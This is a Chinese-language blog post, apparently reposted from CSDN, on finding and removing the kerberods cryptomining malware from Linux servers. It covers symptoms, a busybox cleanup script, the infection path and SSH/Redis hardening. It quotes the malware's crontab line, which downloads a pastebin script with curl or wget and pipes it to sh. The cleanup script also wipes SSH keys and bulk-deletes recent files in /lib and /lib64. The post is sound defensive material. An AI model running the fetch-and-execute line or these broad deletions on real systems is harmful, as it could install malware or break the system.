kerberods挖礦病毒查殺及分析(crontab 挖礦 curl -fsSL https://p

一. 症狀及表現

CPU使用率異常高,外出流量異常

crontab異常,存在如下定時任務(基本上就可以確定了)

[root@mdw ~]# crontab -l

*/15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh

1

2

在以下目錄下存在異常文件

*注:ls top ps等命令已經被病毒的動態鏈接庫劫持,無法正常使用,大家需要下載busybox,具體的安裝和下載步驟將在後文提供。

[root@mdw ~]# busybox ls -a /tmp |grep ds

/tmp/kerberods

/tmp/khugepageds

[root@mdw ~]# busybox ls -a /usr/sbin |grep kerber

/usr/sbin/kerberods

[root@mdw ~]# busybox ls -a /etc |grep ld.so.preload

/etc/ld.so.preload

[root@mdw ~]# busybox ls -a /usr/local/lib |grep libcry 

/usr/local/lib/libcryptod.so

1

2

3

4

5

6

7

8

9

存在以下異常進程

busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods'

busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' 

1

2

存在以下異常開機項

/etc/rc.d/init.d/kerberods

/etc/init.d/netdns

1

2

常用命令動態鏈接庫被異常修改

[root@mdw ~]# ldd `whereis top |awk '{print $2}'` |grep usr

xxx

1

2

二. 查殺方法

先把方法放在前邊,後文將分析該病毒的處理邏輯、感染途徑和代碼分析


安裝busybox

#!/bin/bash

#獲取busybox安裝包,也可以其他機器下載後離線上傳到目標機器

wget http://busybox.net/downloads/busybox-1.21.0.tar.bz2


#需要bzip2,要是機器沒有安裝的話

yum -y install bzip2

#或者離線安裝bzip2

#tar zxvf bzip2-1.0.6.tar.gz

#cd bzip2-1.0.6/

#make -f Makefile-libbz2_so

#make && make install


tar -xvf busybox-1.21.0.tar.bz2

cd ./busybox-1.21.0

make defconfig

#注意,這裏最好在相同操作系統的正常機器上進行靜態鏈接

#防止動態鏈接還被挖礦病毒的動態庫劫持,導致刪除文件不成功

#如果條件不允許,第二點將會重點說明

make

make install

ln -s `pwd`/busybox /usr/bin/busybox

busybox|grep BusyBox |grep v

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

如果最終出現以下信息,證明安裝成功


BusyBox v1.21.0 (2019-04-15 19:51:44 CST) multi-call binary.

1

重要說明

注意,這些挖礦病毒都會賤兮兮的更改動態鏈接庫,如果安裝有vim等靜態鏈接的文件編輯工具工具,可以用vim打開下邊的文件,註釋掉裏邊的內容

[root@mdw ~]#  vim /etc/ld.so.preload

1

查殺腳本

#!/bin/bash

#可以重複執行幾次,防止互相拉起導致刪除失敗


function installBusyBox(){

    #參考第一段

    busybox|grep BusyBox |grep v

}


function banHosts(){

    #刪除免密認證,防止繼續通過ssh進行擴散,後續需自行恢復,可不執行

    busybox echo "" > /root/.ssh/authorized_keys

    busybox echo "" > /root/.ssh/id_rsa

    busybox echo "" > /root/.ssh/id_rsa.pub

    busybox echo "" > /root/.ssh/known_hosts

    busybox echo "" > /root/.ssh/auth

    #iptables -I INPUT -p tcp --dport 445 -j DROP

    busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts

}



function fixCron(){

    #修復crontab

    busybox chattr -i  /etc/cron.d/root  2>/dev/null

    busybox rm -f /etc/cron.d/root

    busybox chattr -i /var/spool/cron/root  2>/dev/null

    busybox rm -f /var/spool/cron/root

    busybox chattr -i /var/spool/cron/tomcat  2>/dev/null

    busybox rm -f /var/spool/cron/tomcat

    busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null

    busybox rm -f /var/spool/cron/crontabs/root

    busybox rm -rf /var/spool/cron/tmp.*

    busybox rm -rf /var/spool/cron/crontabs

    busybox touch /var/spool/cron/root

    busybox chattr +i /var/spool/cron/root

}


function killProcess(){

    #修復異常進程

    busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox rm -f /tmp/khugepageds

    busybox rm -f /usr/sbin/kerberods

    busybox rm -f /usr/sbin/kthrotlds

    busybox rm -f /usr/sbin/kintegrityds

    busybox rm -f /usr/sbin/kpsmouseds

    busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf

}



function clearLib(){

    #修復動態庫

    busybox rm -f /etc/ld.so.preload

    busybox rm -f /usr/local/lib/libcryptod.so

    busybox rm -f /usr/local/lib/libcset.so

    busybox chattr -i /etc/ld.so.preload 2>/dev/null

    busybox chattr -i /usr/local/lib/libcryptod.so  2>/dev/null

    busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null

    busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf

    busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf

    busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf

    busybox rm -f /etc/ld.so.cache

    busybox rm -f /etc/ld.so.preload

    busybox rm -f /usr/local/lib/libcryptod.so

    busybox rm -f /usr/local/lib/libcset.so

    busybox rm -rf /usr/local/lib/libdevmapped.so

    busybox rm -rf /usr/local/lib/libpamcd.so 

    busybox rm -rf /usr/local/lib/libdevmapped.so

    busybox touch /etc/ld.so.preload

    busybox chattr +i /etc/ld.so.preload

    ldconfig

}


function clearInit(){

    #修復異常開機項

    #chkconfig netdns off 2>/dev/null

    #chkconfig –del netdns 2>/dev/null

    #systemctl disable netdns 2>/dev/null

    busybox rm -f /etc/rc.d/init.d/kerberods

    busybox rm -f /etc/init.d/netdns

    busybox rm -f /etc/rc.d/init.d/kthrotlds

    busybox rm -f /etc/rc.d/init.d/kpsmouseds

    busybox rm -f /etc/rc.d/init.d/kintegrityds

    #chkconfig watchdogs off 2>/dev/null

    #chkconfig --del watchdogs 2>/dev/null

    #chkconfig --del kworker 2>/dev/null

    #chkconfig --del netdns 2>/dev/null

}


function recoverOk(){

    service crond start

    busybox sleep 3

    busybox chattr -i /var/spool/cron/root

    echo "OK,BETTER REBOOT YOUR DEVICE"

}


#先停止crontab服務

service crond stop

#防止病毒繼續擴散

banHosts

#清除lib劫持

clearLib

#修復crontab

fixCron

killProcess

clearLib

killProcess

#刪除異常開機項

clearInit

fixCron


recoverOk


三. 病毒分析

感染路徑

① ***者通過網絡進入第一臺被感染的機器(redis未認證漏洞、ssh密碼泄露登錄等)。

② 第一臺感染的機器會讀取known_hosts文件,遍歷ssh登錄,如果是做了免密登錄認證,則將直接進行橫向傳播。

主要模塊

主惡意程序:kerberods

惡意Hook庫:libcryptod.so libcryptod.c

挖礦程序:khugepageds

惡意腳本文件:netdns (用作kerberods的啓停等管理)

執行順序

① 執行惡意腳本下載命令:


(curl -fsSL https://pastebin.com/raw/xxx||wget -q -O- https://pastebin.com/raw/xxx)|sed 's/\r//'|sh

1

該下載後的腳本主要操作有

1> 將指令添加到crontab中

2> kill掉同類挖礦進程

3> kill掉高好資源的其他進程

4> 下載執行主惡意程序kerberods

5> 橫向ssh傳播


② 主進程操作

1> 添加至開機啓動

2> 生成了netdns文件

3> 將netdns文件設置爲開機啓動

4> 編譯libcryptod.c爲/usr/local/lib/libcryptod.so

5> 預加載動態鏈接庫,惡意hook關鍵系統操作函數

6> 修改/etc/cron.d/root文件,增加定時任務

7> 拉起khugepageds挖礦進程


四. 後續安全加固

SSH

① 謹慎做免密登錄

② 不使用默認的22端口

③ 禁止root登錄

Redis

① 增加授權認證(requirepass參數)

② 儘量使用docker版本(docker pull redis)

③ 隱藏重要的命令

五.參考

watchdogs挖礦病毒,感染分析及解決

挖礦病毒kerberods查殺及分析


原文:https://blog.csdn.net/u010457406/article/details/89328869 



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章